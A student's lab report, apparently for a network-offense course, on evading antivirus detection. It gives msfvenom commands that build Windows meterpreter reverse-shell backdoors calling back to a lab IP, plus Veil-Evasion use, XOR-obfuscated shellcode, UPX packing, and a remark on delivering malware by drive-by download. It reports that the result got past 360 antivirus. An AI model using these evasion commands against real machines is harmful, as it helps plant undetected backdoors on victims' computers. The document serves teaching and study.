• 20155326 刘美岑 《网络对抗技术》免杀原理与实践


    20155326 刘美岑 《网络对抗技术》免杀原理与实践

    实践内容

    1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

    2)通过组合应用各种技术实现恶意代码免杀

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    基础问题回答

    (1)杀软是如何检测出恶意代码的?

    答:AV厂商检测恶意软件的方式主流的就三种:
    
    基于特征码的检测:每个程序都会有一段特征码,或者说是一段数据。杀毒软件可以检测某个程序的特征码是否包含恶意代码的特征码,以此来判定是否为恶意代码
    
    启发式恶意软件检测:杀毒软件检测某个程序在系统中做的事情,是不是恶意代码做的事情。以此来判断是不是恶意代码
    
    基于行为的恶意软件检测:也是启发式的一种,可以理解为加了监控模式的启发式检测
    

    (2)免杀是做什么?

    答:免杀就是就是让我们的恶意软件没法被以上三种方式找到。
    

    (3)免杀的基本方法有哪些?

    答:对于针对杀软基于特征码的检测方法,可以改变或者隐藏恶意代码的特征码。比如使用加壳或者是异或改变特征码。
    

    实践过程记录

    MSF编码器

    首先,直接使用上一个实验生成的后门程序检测结果如下(由于要去除数字,所以将之前的后门程序改了个名字,后面的测试代码也是这样):

    接着我们试一下进行一次编码,输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.26.132 LPORT=5326 -f exe > bdoor.exe 对恶意代码进行一次编码,生成新的恶意代码bdoor,放到virscan检测结果如下:

    再来试一下十次编码会是什么结果,输入指令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.26.132 LPORT=5326 -f exe > bdoor1.exe 对恶意代码编码10次,生成新的恶意代码bdoor1,检测结果如下:

    这里看出编码次数再多,也没什么变化。

    使用Veil-Evasion生成可执行文件

    输入指令:veil打开veil

    使用命令:use Evasionz找到其中c/meterpreter/rev_tcp.cp,接着设置IP和端口:set LHOST 192.168.26.131 和set LPORT 5326

    将该后门拷到本机时360没有叫嚣出现恶意程序,该可执行文件存在kali计算机的/var/lib/veil/output/compiled/文件夹里,将文件放到网站上扫描(这里重命名为bdoor2):

    利用shellcode编程

    首先,生成一段shellcode代码:

    将自己生成的shellcode代码加入到老师给的程序中,编译出来一个恶意代码程序,然后对其进行检测

    在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c

    创建一个C文件:MSSC_5326.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:

    使用i686-w64-mingw32-g++ MSSC_5326.c -o MSSC_5236.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5236.exe

    放到网上检查一下:

    接下来应该将上面生成的数组copy到主机上,用vc编写一个C程序并编译,在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功得到shell。

    接下来,将刚刚生成的shellcode进行伪装,以免被杀毒软件查出来,将shellcode数组与0x26异或,将变化后的shellcode放入原C文件中,再加入for循环将使他还原,发现回连成功。

    上面的代码经学姐指出有问题后将_asm;之后的‘;’删掉了,也不知道为什么之前的代码有问题但是也能运行出来,我觉得可能vs的容错性较高?错的代码都能运行。。。

    将生成的.exe程序进行测试,** 360在运行时没有报警告 **,virscan测试结果如下,可以看出经过伪装后还是有用的:

    加壳

    upx是一种压缩程序,可以实现加壳的功能,输入以下指令:upx MSSC_5326.exe(需要加壳的文件名) -o MSSC1_5326.exe(加壳后的文件名)

    检测结果如下:

    离实战还缺些什么技术或步骤

    可以通过类似挂马的方式将恶意代码传到靶机上。

    杀毒软件的病毒库会随时更新,恶意代码不会长久产生危害,恶意代码需要被设计的更高级。

    实践总结与体会

    通过这次的免杀实验,我掌握了恶意代码躲避杀毒软件检测的方法,体会到了病毒程序的恐怖。发现了只要将恶意代码稍作修改,就能逃脱杀毒软件真的检测,可见最好的方法还是不下载不明软件,不点击不正规的网站,及时更新病毒库。...我也不知道我的360怎么了,在实验中我每次把测试的恶意代码从kali拖到自己电脑时都没有安全警告提示,后来发现好像是上次实验关过一次360以后没有打开360杀毒。。。

  • 相关阅读:
    Java线程的几种状态
    常用几种Java Web容器
    数据库触发器
    SQL优化及注意事项
    Oracle中rownum和rowid的区别
    数据库及SQL优化
    如何安装使用Impala
    Impala:新一代开源大数据分析引擎
    开源大数据查询分析引擎
    Google Dremel 原理
  • 原文地址:https://www.cnblogs.com/lmc1998/p/8748737.html
Copyright © 2020-2023  润新知